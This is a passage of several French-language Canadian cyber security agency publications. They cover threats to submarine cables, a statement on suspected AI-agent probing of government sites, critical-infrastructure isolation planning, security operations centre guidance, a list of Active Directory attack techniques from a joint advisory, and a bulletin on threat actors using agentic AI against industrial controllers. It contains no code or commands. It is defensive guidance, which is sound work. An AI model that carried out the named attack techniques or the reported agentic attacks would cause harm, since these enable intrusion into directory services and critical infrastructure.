La troisième partie de la figure combine les deux représentations précédentes. Le schéma des secteurs géographiques sert de couche de base, tandis que les secteurs géopolitiques sont superposés par-dessus. Deux flèches orientées vers le bas relient les deux premières parties de la figure à cette représentation intégrée afin de montrer leur relation. Dans cette troisième partie de la figure, la zone correspondant au territoire national couvre la partie terrestre de gauche ainsi qu'une portion de l'eau adjacente. La zone correspondant aux eaux internationales couvre la partie centrale de l'étendue d'eau. La zone correspondant au territoire étranger couvre la partie terrestre de droite ainsi qu'une portion de l'eau adjacente. La ligne représentant le câble sous-marin est tracée sur toute la longueur de la partie supérieure du schéma et traverse l'ensemble de ces zones.

Les menaces peuvent être regroupées en trois catégories :

• les menaces liées aux politiques et aux normes, notamment à l'échelle locale, nationale et internationale;
• les menaces liées à l'architecture, notamment les cybermenaces et les menaces physiques;
• les menaces liées à la chaîne d'approvisionnement, y compris les risques associés aux tiers.

Le modèle d'exposition aux menaces présenté à la figure 2 énumère les principales menaces des première et troisième catégories et décrit plus en détail les principaux éléments de l'architecture susceptibles d'être vulnérables à ces menaces, notamment :

• les logiciels et les systèmes permettant de contrôler le réseau localement ou à distance;
• les répéteurs de signal, qui permettent de prévenir l'affaiblissement du signal sur de longues distances de transmission;
• les unités de dérivation, qui permettent de rediriger le trafic vers différentes destinations;
• les multiplexeurs, qui combinent ou séparent les trajets des signaux;
• les câbles à fibre optique eux-mêmes, qui assurent l'acheminement du trafic;
• les installations qui abritent les câbles.

Le modèle montre également que l’architecture des réseaux de câbles sous-marins ne se limite pas à une distinction entre les composantes terrestres et sous-marines; certains éléments se trouvent à la fois sur terre et sous l’eau. Le câble lui-même est présent dans les trois secteurs géographiques, mais sous des formes différentes. Comme l’illustrent les coupes transversales, dans les eaux les plus profondes, il est généralement beaucoup moins blindé qu’à proximité du littoral. Les risques varient donc selon le type de câble.

Description longue - Figure 2: Diagramme de l’exposition aux menaces

La figure 2 présente un diagramme d’exposition aux menaces sous la forme d’un carré divisé en plusieurs sections. La couche de base reprend la figure 1 afin d’illustrer les secteurs géographiques et géopolitiques touchés. Une couche supplémentaire est superposée à cette représentation de la figure 1 et présente trois sections rectangulaires verticales. La première section présente les politiques et les normes, la deuxième section présente l’architecture et la troisième section présente la chaîne d’approvisionnement. La section sur les politiques et les normes est située dans la partie supérieure du diagramme. Elle s’étend sur toute sa largeur. Elle représente la portée de cette catégorie dans l’ensemble des secteurs géographiques et géopolitiques présentés à la figure 1.

Directement sous la section sur les politiques et les normes se trouve une grande section intitulée Architecture. Cette section se trouve au milieu du diagramme et contient trois sous-rubriques encadrées. De haut en bas, les sous-rubriques sont les suivantes : systèmes de gestion de réseau (NMS pour Network Management System) et systèmes de gestion à distance (RMS pour Remote Management System), technologie de transmission et câbles. Dans la sous-section des câbles, trois coupes transversales de câble sont représentées par trois encadrés disposés horizontalement côte à côte. À gauche, l’encadré indique que les zones près du rivage ou les eaux peu profondes correspondent à un blindage renforcé et comprend une icône représentant un câble entouré d’une épaisse couche de protection. L’encadré du milieu indique que les eaux profondes correspondent à un blindage léger et comprend une icône représentant un câble entouré d’une couche de protection plus mince. L’encadré de droite indique que les zones près du rivage ou les eaux peu profondes correspondent à un blindage renforcé et comprend la même icône que celle de l’encadré de gauche. Sous les premier et troisième encadrés figurent trois acronymes mis en évidence : SAC (station d’atterrissement de câble), PAC (point d’atterrissement de câble) et CRP (chambre de raccordement sur la plage). Sous l’encadré central figure le texte Coupe transversale du câble. Cette section sur l’architecture est présentée au centre de la figure et laisse un peu d’espace libre de chaque côté à l’intérieur des colonnes représentant la terre. Dans cet espace libre, une flèche mène de la section Architecture à la pointe d’une autre flèche dirigée vers la bordure du cadre du diagramme. Au-dessus de cette flèche se trouve un encadré mis en évidence portant la mention PoP (point de présence). La deuxième flèche, située à côté de la flèche du PoP et la touchant, pointe vers le cadre du diagramme, qui s’étend sur toute la longueur de la colonne terrestre. Au-dessus de cette deuxième flèche se trouve un encadré mis en évidence portant la mention RT (réseau terrestre). Ces flèches représentent les connexions du PoP et du RT illustrées de chaque côté de la section Architecture et s’étendent sur toute la longueur du diagramme, comme les autres sections.

La troisième section, qui porte sur la chaîne d’approvisionnement, est située sous la section Architecture, près du bas du diagramme. Comme la section Politiques et normes, elle s’étend de l’extrémité gauche à l’extrémité droite du diagramme. Elle présente la portée de cette catégorie dans l’ensemble des secteurs géographiques et géopolitiques présentés à la figure 1.

Une légende figure sous le diagramme et présente la signification de tous les acronymes utilisés dans la figure 2.

De : Centre de la sécurité des télécommunications Canada

Déclaration

29 septembre, 2026 – Ottawa, Ontario

Nous sommes au courant de signalements faisant état d’activités suspectes, y compris de présumées activités menées par des agents d’IA, qui viseraient des sites Web accessibles au public, incluant ceux du gouvernement du Canada. Rien n’indique pour le moment que les systèmes du gouvernement ont été compromis.

Les sites Web gouvernementaux accessibles au public reçoivent régulièrement des requêtes automatisées et potentiellement malveillantes. Ce type d’activité fait partie intégrante de l’environnement en ligne et ne constitue pas, à lui seul, un indicateur d’un cyberincident. Bien que ce type d’activité soit courant, le gouvernement du Canada prend au sérieux les signalements de cyberincidents potentiels et d’activités suspectes en ligne. Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) travaille en étroite collaboration avec ses partenaires du gouvernement pour évaluer l’information mentionnée dans les rapports.

Le Centre pour la cybersécurité emploie de rigoureuses mesures de cybersécurité à plusieurs niveaux pour protéger les réseaux, les systèmes et l’information du gouvernement du Canada contre les cybermenaces en constante évolution. Nos outils de cyberdéfense de calibre mondial sont conçus pour détecter et bloquer les activités malveillantes, quelle qu’en soit la provenance.

Le Centre pour la cybersécurité travaille également en étroite collaboration avec des partenaires au Canada et à l’étranger, notamment tous les ordres de gouvernement, des communautés autochtones, l’industrie, le milieu universitaire et les conceptrices et concepteurs de modèles d’IA avancés, afin de mieux comprendre les possibilités, les défis et les risques pour la cybersécurité associés aux technologies émergentes, comme l’intelligence artificielle. Grâce à ce travail, le Centre pour la cybersécurité fournit des conseils, de l’orientation, des renseignements sur les cybermenaces et des services de cyberdéfense afin de contribuer au renforcement de la sécurité et de la résilience des systèmes du gouvernement du Canada, des infrastructures essentielles et de l’ensemble de l’écosystème numérique canadien.

Coordonnées

Pour en savoir plus, communiquez avec nous (médias seulement) :

Relations du CST avec les médias

media@cse-cst.gc.ca

Suivez-nous

Suivez le Centre pour la cybersécurité et le CST sur X (anciennement Twitter) et sur LinkedIn.

Alors que l’instabilité géopolitique accélère l’intensification des cybermenaces visant les infrastructures essentielles (IE), le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) a élaboré l’initiative Résilience des infrastructures essentielles face à l’intensification des menaces (RIEFIM) destinée à accélérer immédiatement l’état de préparation des organisations afin de renforcer et de protéger la souveraineté du Canada et ses services essentiels.

Le contexte des menaces en constante évolution est accentué par des risques découlant de l’intelligence artificielle (IA). Avec les progrès rapides de l’IA, la capacité d’automatiser la découverte et l’exploitation de vulnérabilités augmente également et peut permettre d’accroître l’ampleur, la rapidité et les répercussions des cyberincidents.

Les auteurs de cybermenace parrainés par un État ciblent fort probablement les réseaux d’infrastructures essentielles au Canada et dans les pays alliés afin de se préparer à d’éventuelles cyberopérations perturbatrices ou destructrices. Les auteurs de cybermenace non étatiques peuvent également mener des activités de cybercriminalité pour réaliser des gains financiers. Indépendamment de la source de la menace, les organisations des infrastructures essentielles doivent être en mesure de déconnecter et d’isoler rapidement les systèmes touchés face à des menaces graves. À partir de cet état isolé ou déconnecté, le secteur des infrastructures essentielles doit également avoir la capacité nécessaire pour reconstruire et rétablir les services à partir de ressources hors ligne.

Des attaquants déterminés et dotés de moyens sophistiqués pouvant compter sur d’importantes ressources peuvent accéder aux réseaux et aux systèmes, même si ceux-ci sont très bien protégés. Les organisations du secteur des infrastructures essentielles doivent planifier et préparer leurs environnements en prévision d’un avenir où les cybermenaces dépasseront largement les seuils observés à ce jour.

Sur cette page

• Se préparer à faire face aux menaces
• Fonctionnement de l'isolation
• Fonctionner de manière indépendante
• Reprise et restauration
• Points saillants
• Pour en savoir plus

Se préparer à faire face aux menaces

Les infrastructures essentielles modernes présentent un haut niveau d’interconnexion avec des partenaires internationaux et reposent sur une synchronisation assurée par plusieurs chemins de communications, ce qui signifie qu’elles s’appuient sur des réseaux de communications, des services Internet et des flux de données pour fonctionner. Bien que cela soit essentiel pour de nombreuses organisations, puisqu’il en résulte des avantages opérationnels importants, cela présente également une vulnérabilité.

Étant donné que des perturbations aux infrastructures essentielles du Canada peuvent comporter des risques importants, tous les exploitants de services essentiels devraient, à tout le moins :

• être prêts à isoler les systèmes pour une durée pouvant aller jusqu'à trois mois;
• élaborer et tester des plans d'intervention pour leur permettre de fonctionner de manière indépendante;
• concevoir des plans de reconstruction des systèmes pour intervenir en cas de cyberincidents graves.

Dans un contexte où les cybermenaces envers les infrastructures critiques sont exacerbées par l’instabilité géopolitique et l’utilisation croissante de l’intelligence artificielle à des fins malveillantes, l'initiative RIEFIM donne des conseils sur la manière dont les organisations peuvent comprendre les cyberincidents à grande échelle à venir, s’y préparer et s’exercer à y répondre, en s’assurant qu’elles peuvent maintenir les fonctions et les services essentiels, même dans le pire des scénarios.

Cette initiative facilite le travail des propriétaires et des exploitants des secteurs des infrastructures essentielles qui protègent la sécurité et le bien-être économique des Canadiennes et Canadiens.

Les propriétaires et les exploitants des infrastructures essentielles devraient avoir recours à des plans de continuité des activités (PCA) extensibles qui permettront à leurs organisations d'être en mesure de procéder à l'isolation et à la reprise des systèmes.

Fonctionnement de l'isolation

L'isolation consiste à séparer délibérément les réseaux de votre organisation ou des segments spécifiques de réseau de tous les réseaux externes et de l'Internet public. Cette isolation limite l'exposition à des menaces externes et assure la protection et le fonctionnement continus des systèmes et des services essentiels.

L’isolation peut réduire la probabilité qu’un auteur de menace établisse un accès initial. Elle peut également contribuer à contenir une cyberattaque en cours et à assurer le maintien des opérations essentielles. L’isolation vous permet de gagner du temps en attendant que l’infrastructure externe se stabilise et soit sécurisée. Lorsqu’elle est mise en œuvre de manière appropriée, l’isolation permet de réduire considérablement l’exposition à de nouvelles attaques à distance, et elle peut perturber de manière substantielle les capacités de commande et de contrôle de l’adversaire. Elle peut également réduire la capacité de l’auteur de menace à exploiter les vulnérabilités du jour zéro.

Les organisations du secteur des infrastructures essentielles devraient être en mesure de recourir à l'isolation en dernier ressort si tous les autres mécanismes de défense échouent. Il est primordial pour les organisations du secteur des infrastructures essentielles de définir leurs propres mécanismes déclencheurs d'isolation dans un plan d'intervention en cas d'incident (PICI), en sachant que ces déclencheurs varieront d'un secteur d'activité à l'autre.

Afin de mettre en œuvre un plan d’isolation efficace, les organisations doivent bien connaître leurs :

• biens de technologies opérationnelles (TO) et de technologies de l'information (TI),
• limites de TO,
• chemins d’accès distant utilisés par des tiers et des fournisseurs (y compris les services hébergés dans le nuage et intégrés à la boucle de contrôle),
• connectivité externe.

Les organisations pourraient avoir à collaborer avec des fournisseurs et des intégrateurs, et à évaluer les implications réglementaires possibles dans le cadre de leur planification. Sans défenses robustes et sans déclencheurs d'isolation clairement définis, une compromission ciblant une installation peut se propager à travers des réseaux interconnectés, entraînant des interruptions généralisées qui auraient autrement pu être évitées. Les alertes, conseils et bulletins sur les menaces du Centre pour la cybersécurité peuvent aider les organisations dans le cadre de la prise de décision opérationnelle.

Fonctionner de manière indépendante

Les plans de continuité des activités (PCA) traditionnels supposent que les perturbations seront de courte durée. Les organisations du secteur des infrastructures essentielles devraient élaborer des PCA qui tiennent compte de perturbations prolongées, au-delà des scénarios existants, pour s'assurer qu'elles soient en mesure de fonctionner malgré des interruptions de service prolongées, des contraintes liées à la chaîne d'approvisionnement et des contraintes opérationnelles multisite, et ce, en se préparant adéquatement. Ce type de PCA définit une capacité de survivance délibérée, prolongée et multisite en prévision d'une crise généralisée. Ce changement d'approche aidera l'équipe de direction à déterminer combien de temps les opérations peuvent se poursuivre en toute sécurité sans aide externe. Il contribue également à la mise en place d'une capacité pouvant être opérationnelle de façon autonome au fil du temps.

Afin de déterminer les paramètres nécessaires pour des opérations indépendantes pendant l'isolation, les organisations du secteur des infrastructures essentielles doivent :

• comprendre pendant combien de temps les services essentiels peuvent être maintenus et comment les risques de défaillance opérationnelle s'intensifient au fil du temps;
• identifier les seuils de rupture au niveau des opérations;
• déterminer les fonctions jugées essentielles ainsi que celles pouvant être réduites ou interrompues temporairement;
• déterminer comment atténuer les vulnérabilités découlant des dépendances à des facteurs tels que le personnel, l'électricité, le carburant, l'eau, les fournisseurs et les communications;
• déterminer la rapidité avec laquelle les capacités peuvent se détériorer selon les circonstances;
• déterminer comment étendre la survivance en transférant les activités entre les différentes installations;
• prendre en compte la manière d'éviter des décisions qui protègent un site, mais qui pourraient avoir de plus grandes répercussions sur d'autres emplacements.

Au bout du compte, votre organisation doit élaborer un PCA axé sur l'isolation qui englobe ces éléments dans l'éventualité d'une situation de crise. Vous devez vous assurer que votre PICI comprend des déclencheurs d'isolation clairs, des pouvoirs préautorisés et des voies de communication lorsque le recours à l'isolation semble être la seule option.

Le Centre pour la cybersécurité recommande au conseil d'administration ou à la haute direction de votre organisation de discuter de cyberrésilience et de prendre les décisions appropriées en conséquence. Comprendre les paramètres opérationnels de votre organisation pendant une crise potentielle vous informe et vous prépare à réagir rapidement et de façon réfléchie. Cette approche, quant à elle, peut réduire les répercussions sur la sécurité publique, minimiser l'exposition aux risques juridiques et atténuer les risques à la réputation. L'élaboration de ce plan de continuité des activités ciblé devrait être traitée comme une priorité au niveau de la gouvernance, appuyée par des mécanismes de production de rapports transparents et des objectifs clairement définis.

Reprise et restauration

Une restauration complète des opérations pour l'ensemble des systèmes, des services et des fonctions ne devrait avoir lieu qu'après la réalisation des vérifications requises en matière de performance, de sécurité et d'interopérabilité, conformément aux normes applicables dans l'industrie.

Pour soutenir une restauration résiliente, les organisations doivent être en mesure de faire ce qui suit :

• conserver des copies hors ligne des micrologiciels, des configurations et de la documentation pour s’assurer que les systèmes peuvent être récupérés, même si d’autres services sont touchés;
• identifier les principales composantes TI et TO présentant des délais d’approvisionnement longs ou une dépendance à une source unique (par exemple, des pièces de rechange matérielles ainsi que des images de micrologiciel) et maintenir un niveau de redondance approprié;
  • tenir compte d’autres stratégies d’approvisionnement pour ces composantes;
  • évaluer les situations où une cybercompromission pourrait causer des dommages physiques à des composantes difficiles ou impossibles à remplacer;
  • accorder la priorité à une surveillance accrue, à des contrôles d’intégrité et des mesures de protection supplémentaires pour ces biens;
• prévoir une reconstruction complète des systèmes au moyen de copies et de sauvegardes immuables hors ligne de confiance, conformément aux conseils en matière de cybersécurité sur la préparation en cas d'urgence applicables aux perturbations graves et prolongées;
• confirmer l’intégrité des systèmes avant de les reconnecter, en effectuant des vérifications approfondies comme la chasse aux cybermenaces (y compris l’identification d’une activité d’exploitation des ressources locales), la vérification des correctifs et de la configuration, et en s’appuyant sur des directives supplémentaires, au besoin;
• vérifier périodiquement les procédures de restauration par le biais de PICI établis.

Points saillants

Dans un contexte de cybermenaces en pleine expansion, exacerbé par l’instabilité géopolitique et les technologies émergentes comme l’intelligence artificielle, les perturbations prolongées touchant plusieurs secteurs des infrastructures essentielles ne sont plus seulement hypothétiques. L’isolation repose sur des capacités préétablies, pas sur l’improvisation. Les organisations du secteur des infrastructures essentielles doivent mettre en œuvre des mesures de cybersécurité robustes, notamment :

• le renforcement des systèmes
• la surveillance des réseaux
• la revue et la mise à l'essai de PICI et de PCA axés sur l'isolation
• l'application d'autres mesures de cybersécurité de base décrites dans les Objectifs relatifs à l'état de préparation en matière de cybersécurité (OEPC)

La préparation ne peut pas attendre. Le moment d'agir, c'est maintenant. Les organisations qui adoptent une planification proactive et structurée de leurs systèmes sont les mieux positionnées pour soutenir la continuité des services essentiels en contexte de cyberperturbations prolongées.

Pour en savoir plus

• Élaborer un plan d'intervention en cas d'incident (ITSAP.40.003)
• Élaboration de votre plan de continuité des activités (ITSAP.10.005)
• Élaboration d'un plan de reprise informatique personnalisé (ITSAP.40.004)
• Meilleure cyberrésilience grâce à une préparation en cas d'urgence (ITSM.10.014)
• L’intelligence artificielle de pointe (ITSAP.10.050)
• Objectifs relatifs à l'état de préparation en matière de cybersécurité : Sécuriser les systèmes les plus essentiels
• Boîte à outils des objectifs relatifs à l'état de préparation en matière de cybersécurité intersectoriels
• Conseils conjoints concernant les principes de connectivité sécurisée pour les technologies opérationnelles
• Bulletin conjoint sur la création et le maintien d'une position définitive sur l'architecture de technologie opérationnelle
• Bulletin conjoint sur l’isolation des systèmes essentiels
• Conseils connexes provenant de partenaires internationaux
  • United States' Cybersecurity and Infrastructure Security Agency’s CI Fortify: Strengthening resilience across critical infrastructure (en anglais seulement)
  • Cyber Security Centre de l'Australie CI Fortify: Guidance for Australian critical infrastructure service continuity and resilience (en anglais seulement)
  • National Cyber Security Centre du Royaume-Uni How to prepare for and plan your organisation's response to severe cyber threat: a guide for CNI (en anglais seulement)

Un centre des opérations de sécurité (COS) regroupe les gens, les processus et les technologies pour améliorer la résilience de votre organisation contre les cybermenaces. Un COS est géré à partir d’un emplacement central par une équipe de spécialistes de la sécurité de l’information, y compris des ingénieures et ingénieurs en sécurité qui peuvent travailler en étroite collaboration avec votre équipe de développement, des analystes de sécurité et des analystes en menaces informatiques.

Alors que les cybermenaces évoluent et deviennent de plus en plus sophistiquées, de nombreuses organisations sont en train d’établir des capacités de COS afin de mieux détecter les cyberincidents, enquêter sur ceux-ci et y intervenir. Le contexte des menaces s’est élargi en raison de la dépendance accrue aux services infonuagiques et aux systèmes qui font appel à l’IA, et aux systèmes de technologie opérationnelle (TO) dans les environnements de technologies de l’information (TI). Cela signifie qu’il y a un plus grand besoin d’intervention et de surveillance continue en matière de sécurité.

Cette publication fournit des conseils aux organisations de toutes tailles sur les pratiques exemplaires à adopter lors de la mise sur pied, de l’exploitation et de l’amélioration continue d’un COS. De plus, le présent document propose des conseils aux organisations souhaitant s’abonner à un COS en tant que service (COSS) auprès d’un fournisseur de tierce partie.

Fonctionnement des COS

Les COS sont principalement responsables de la détection des cyberincidents et des cybermenaces, et des interventions. Les COS peuvent aussi effectuer des évaluations des vulnérabilités, des tests de pénétration, des analyses des menaces et des audits de conformité aux règles. Plus particulièrement, les COS effectuent les activités clés suivantes :

Surveillance et détection

Les COS recueillent et analysent les données d’événement et de sécurité dans l’ensemble de l’environnement de l’organisation, y compris les environnements spécialisés qui pourraient nécessiter de l’expertise et des outils de surveillance spécialisés. Ceci comprend :

• dispositifs sur site
• services infonuagiques
• systèmes de contrôle industriels (SCI) et systèmes de technologie opérationnelle (TO)
• systèmes à distances
• appareils mobiles

Ces données sont utilisées pour détecter les activités anormales, les indicateurs de compromission (IC) et les menaces potentielles. Les menaces sont évaluées et des indices de gravité leur sont attribués, et des alertes sont générées en fonction des priorités et politiques définies.

Intervention et reprise

Lorsqu’une menace ou un incident est détecté, les COS mènent rapidement une enquête et prennent des mesures immédiates pour contenir et atténuer la menace. Ceci est particulièrement important pour les organisations qui n’auraient aucune capacité interne d’intervention ou de surveillance, 24 heures par jour et 7 jours par semaine. Durant ce processus, les COS analysent l’incident pour cerner la cause fondamentale et déterminer ce qui a été touché. Ils soutiennent aussi les efforts de reprise en restaurant les données et les systèmes touchés, et en aidant à rétablir les opérations à leur état normal.

Analyse et amélioration

Les COS analysent les incidents pour en déterminer la cause et l’incidence. Ils examinent les journaux de vérification, les journaux d’activités et les journaux système afin de déterminer la manière dont un incident s’est produit et ce qui a été touché. Les leçons apprises peuvent être utilisées pour améliorer la détection des capacités, les procédures d’intervention et l’ensemble des opérations de sécurité.

COS en tant que service

Si votre organisation dispose de ressources limitées, il peut être difficile de mettre sur pied et d’exploiter un COS. Dans ce cas, votre organisation devrait considérer un COS en tant que service (COSS) comme solution de rechange. Certaines organisations adoptent une approche hybride où les fonctionnalités de base (p. ex. surveillance et intervention en cas d’incident) sont effectuées à l’interne, tandis que les activités spécialisées (p. ex. test d’intrusion ou analyse de maliciels) sont externalisées.

Au moment d’évaluer un fournisseur de COS :

• Assurez-vous que les services offerts s’alignent sur les exigences opérationnelles et juridiques, ainsi que les exigences en matière de sécurité et de protection des données et de la vie privée de votre organisation.
• Assurez-vous que les services peuvent être personnalisés et adaptés afin de soutenir les besoins opérationnels changeants et l’environnement de votre organisation.
• Comprenez comment les technologies et les outils sont utilisés pour collecter, utiliser, stocker et protéger vos données.
• Déterminez le niveau d’accès dont le fournisseur a besoin pour accéder à vos systèmes, à vos réseaux et à vos informations en matière de sécurité.
• Examinez la façon dont le service s’intègre aux procédures d’intervention en cas d’incident, aux processus et aux outils de sécurité existants.
• Évaluez les pratiques de sécurité du fournisseur, y compris les accords sur les niveaux de service et l’utilisation d’outils facilités par l’IA.
• Évaluez la façon dont le fournisseur gère les risques liés à la chaîne d’approvisionnement, y compris les dépendances tierces et les protections contre les vulnérabilités.

Avantages des COS

Les COS combinent les efforts pour soutenir l’intervention en cas d’incident, y compris l’identification, le confinement et l’éradication des menaces, la reprise des activités et la production de rapports. Ensemble, ces efforts aident à renforcer la posture de sécurité globale et à fournir les principaux avantages ci-dessous.

Chasse aux cybermenaces proactive

En combinant les données historiques et le renseignement sur les menaces, les COS peuvent détecter les premiers signes d’une attaque qui pourraient autrement passer inaperçus. Ils établissent la base de référence des activités normales du réseau et du système, et mènent une enquête lorsque le comportement s’écarte des schémas prévus.

Détection des incidents et interventions plus efficaces

En fonction de la taille du COS et du niveau d’expertise, on peut y détecter rapidement les signes d’une attaque, mener une enquête initiale et commencer à contenir à la menace. Cette réponse accrue peut limiter les dommages causés à votre organisation et aider à empêcher les pirates d’accéder à vos précieux actifs et à vos informations sensibles.

Visibilité accrue de la sécurité et gestion centralisée des incidents

Les COS utilisent des outils et des tableaux de bord pour fournir une connaissance de la situation en temps réel de la posture de sécurité de votre organisation. Cela peut vous aider à mieux coordonner les ressources nécessaires pour corriger et contenir les menaces.

Soutien pour la prise de décision éclairée

Les COS aident à établir l’ordre de priorité des activités d’intervention et des risques, en fournissant à votre organisation l’information nécessaire pour prendre des décisions efficaces et opportunes.

Audits réguliers des systèmes

En veillant à ce que les réglementations de l’industrie et du gouvernement soient respectées, les COS peuvent aider à protéger votre organisation contre les atteintes à la réputation, les violations administratives ou matérielles de la vie privée et la responsabilité légale en cas de violation.

Répercussions limitées sur vos activités

Les COS aident à limiter les perturbations en contenant tôt les menaces et en soutenant la restauration des données et des systèmes, ce qui aide votre organisation à reprendre ses activités normales plus rapidement.

Éléments à considérer lors de la mise sur pied de votre COS

Un COS peut aider à accroître la résilience de votre organisation contre les cybermenaces et à minimiser les répercussions en cas de compromission. Voici des pratiques exemplaires à garder en tête lorsque vous mettez sur pied et exploitez un COS :

Élaborer une stratégie pour votre COS

• Déterminez les biens de grande importance, y compris les systèmes, les services et les données, qui doivent être surveillés et protégés.
• Menez une évaluation des risques de cybersécurité pour déterminer les menaces probables et leurs répercussions potentielles.
• Évaluez les capacités et l’intention des auteurs de menace qui ciblent votre organisation.
• Déterminez les exigences juridiques et réglementaires, ainsi que les exigences relatives à la conformité ayant une incidence sur les opérations du COS.
• Définir des objectifs clairs, la portée et les critères de réussite de votre COS.

Concevoir un COS qui répond aux besoins de votre organisation

• Choisissez un modèle de COS qui correspond à votre profil de risques, à vos besoins opérationnels et aux ressources disponibles.
• Concevez votre COS de manière à ce qu’il puisse s’adapter à l’évolution des menaces, des technologies et des exigences.
• Utilisez une méthode de défense fondée sur les menaces en intégrant des cadres comme MITRE ATT&CK (en anglais seulement) et OWASP top ten (en anglais seulement).
• Planifiez l’intégration aux environnements infonuagiques, de TI et de TO existants.
• Assurez-vous que le COS dispose de l’expertise nécessaire pour surveiller et soutenir les technologies spécialisées, comme les systèmes industriels et les réseaux de télécommunications.
• Pour les grandes entreprises, veuillez envisager de regrouper ou d’échanger des capacités de COS entre les régions ou les organisations afin d’améliorer l’efficacité et la visibilité.

Mettre sur pied et exploiter votre COS

• Recueillez et centralisez les données pertinentes des points d’extrémité, des réseaux, des services infonuagiques et des systèmes de TO.
• Utilisez l’automatisation et une solution de gestion des événements pour soutenir le triage des alertes, les analyses et la gestion des incidents.
  • Un certain nombre de plateformes commerciales et de source ouverte de gestion des informations et des événements de sécurité (GIES) sont disponibles pour aider votre organisation à tirer parti des volumes de données d’événements recueillis jour après jour.
• Établissez un plan d’intervention en cas d’incident et mettez-le à l’essai régulièrement pour assurer la reprise opportune des services critiques.
• Appliquez et tenez à jour les contrôles afin de s’assurer que les activités du COS sont conformes aux exigences réglementaires et juridiques, et que les données sensibles sont protégées.
• Documentez et mettez à jour régulièrement les processus, les procédures et les guides opérationnels pour assurer une intervention et une détection cohérentes et efficaces.
• Créez et formez une équipe compétente du COS, favorisez sa rétention et soutenez le bien-être des employées et employés afin de réduire la fatigue et l’épuisement professionnel.

Tenir à jour et améliorer votre COS

• Favorisez la communication et la collaboration entre le COS et les principales parties prenantes au sein de votre organisation.
• Recueillez et examinez les indicateurs de rendement pour évaluer l’efficacité du COS et orienter les améliorations.
• Mettez à jour régulièrement les règles de détection, les guides opérationnels et les processus en fonction des nouvelles menaces et leçons apprises.
• Menez des exercices comme des simulations et des évaluations pour valider les capacités du COS.
• Élargissez les capacités au fil du temps afin d’y intégrer des pratiques avancées, comme la déception et la chasse aux cybermenaces.

Utilisation de l’IA dans votre COS

Les outils facilités par l’IA peuvent aider les équipes du COS à traiter de grands volumes de données de sécurité, à déterminer des schémas et à soutenir les opérations de sécurité. Les organisations peuvent utiliser l’IA pour faciliter des activités, comme le triage des alertes, l’analyse de journaux, la chasse aux cybermenaces et les enquêtes sur les incidents.

Bien que l’IA puisse améliorer l’efficacité, elle devrait soutenir, et non remplacer, la prise de décisions humaine. Les résultats générés par l’IA peuvent être incomplets, erronés ou dépourvus de contexte important. Les analystes du COS devraient valider les résultats générés par l’IA et maintenir une surveillance des activités d’intervention en cas d’incident et des décisions en matière de sécurité.

Avant de mettre en œuvre des outils facilités par l’IA, votre organisation devrait :

• évaluer la manière dont l’IA appuiera les processus existants du COS et les exigences opérationnelles;
• s’assurer que les résultats générés par l’IA peuvent être évalués et validés par le personnel du COS;
• comprendre les données que l’outil d’IA collecte, traite et stocke;
• mettre en œuvre les contrôles d’accès appropriés pour protéger l’information sensible;
• surveiller les services et systèmes qui font appel à l’IA dans le cadre des opérations de sécurité régulières;
• examiner les procédures d’intervention en cas d’incident pour gérer les risques liés aux systèmes qui font appel à l’IA.

Tandis que les technologies de l’IA continuent d’évoluer, les organisations devraient examiner régulièrement la manière dont l’IA est utilisée au sein de leur COS et mettre à jour les formations, les contrôles et les processus, au besoin.

Pour en savoir plus

• Journalisation et surveillance de la sécurité de réseau (ITSAP.80.085)
• Élaborer un plan d’intervention en cas d’incident (ITSAP.40.003)
• Élaboration d’un plan de reprise informatique personnalisé (ITSAP.40.004)

Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) s’est joint à l’Australian Cyber Security Centre (ACSC) de l’Australian Signals Directorate (ASD) et aux partenaires internationaux suivants pour publier des conseils en matière de cybersécurité sur l’atténuation des compromissions associées aux services Active Directory de Microsoft :

• la Cybersecurity and Infrastructure Security Agency (CISA);
• la National Security Agency (NSA);
• le National Cyber Security Centre de la Nouvelle-Zélande (NCSC-NZ);
• le National Cyber Security Centre du Royaume-Uni (NCSC-UK).

Active Directory est une solution d’authentification et d’autorisation de Microsoft qui est utilisée à grande échelle dans les réseaux de technologies de l’information d’entreprise partout dans le monde. Il s’agit d’une cible prisée par les auteurs de menace, puisqu’advenant une compromission, ils peuvent obtenir un accès privilégié à tous les systèmes ainsi qu’à toutes les utilisatrices et à tous les utilisateurs gérés par Active Directory. L’intervention à la suite d’attaques visant Active Directory peut s’avérer chronophage, coûteuse et déstabilisante.

Ces conseils fournissent des stratégies de prévention, de détection et d’atténuation pour les compromissions les plus courantes associées à Active Directory, notamment les suivantes :

• Capture de mots de passe hachés Kerberos (Kerberoasting)
• Capture de mots de passe hachés AS-REP
• Rafale de mots de passe
• MachineAccountQuota
• Délégation complète
• Mot de passe dans une référence de stratégie de groupe
• Services de certificat Active Directory
• Certificat d’or
• DCSync
• Vidage ntds.dit
• Billet d’or
• Billet d’argent
• SAML en or
• Microsoft Entra Connect
• Contournement de l’approbation unidirectionnelle entre les domaines
• Historique SID
• Clé squelette
• Justificatifs d’identité de l’ombre

Les organisations peuvent mettre en œuvre ces conseils afin de contribuer à la sécurisation de leurs services d’annuaire d’entreprise.

Consultez l’intégralité des conseils conjoints sur la détection et l’atténuation des attaques visant Active Directory (en anglais seulement).

Liens connexes

• Guide visant à sécuriser les services Active Directory de Microsoft dans votre organisation (ITSM.60.100)
• Guide visant à sécuriser les services Active Directory dans votre organisation (ITSP.60.100)

Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) met en garde les organisations canadiennes contre une campagne mondiale active dans le cadre de laquelle des auteurs de menace ciblent des automates programmables industriels (API) exposés à Internet et tentent d’en perturber le fonctionnement. Le Centre pour la cybersécurité et ses partenaires ont déjà averti que des auteurs de menace ciblent des systèmes de contrôle industriels (SCI) et des technologies opérationnelles (TO) accessibles depuis Internet afin de perturber les installations de traitement et de distribution de l’eau ainsi que d’autres infrastructures essentielles au Canada et à l’étranger. Ce bulletin de cybersécurité décrit comment ces auteurs de menace utilisent l’IA agentive pour repérer et attaquer ces dispositifs.

La menace visant les organisations canadiennes

Le Centre pour la cybersécurité continue d’observer des auteurs de menace qui ciblent des systèmes de SCI/TO accessibles depuis Internet au Canada dans le but d’en perturber les opérations. En octobre 2025, le Centre pour la cybersécurité a observé plusieurs incidents ayant touché des SCI/TO au Canada. Dans un incident, un auteur de menace a manipulé les commandes des vannes de régulation de pression d’un réseau municipal d’approvisionnement en eau, entraînant des répercussions limitées sur la distribution de l’eau.

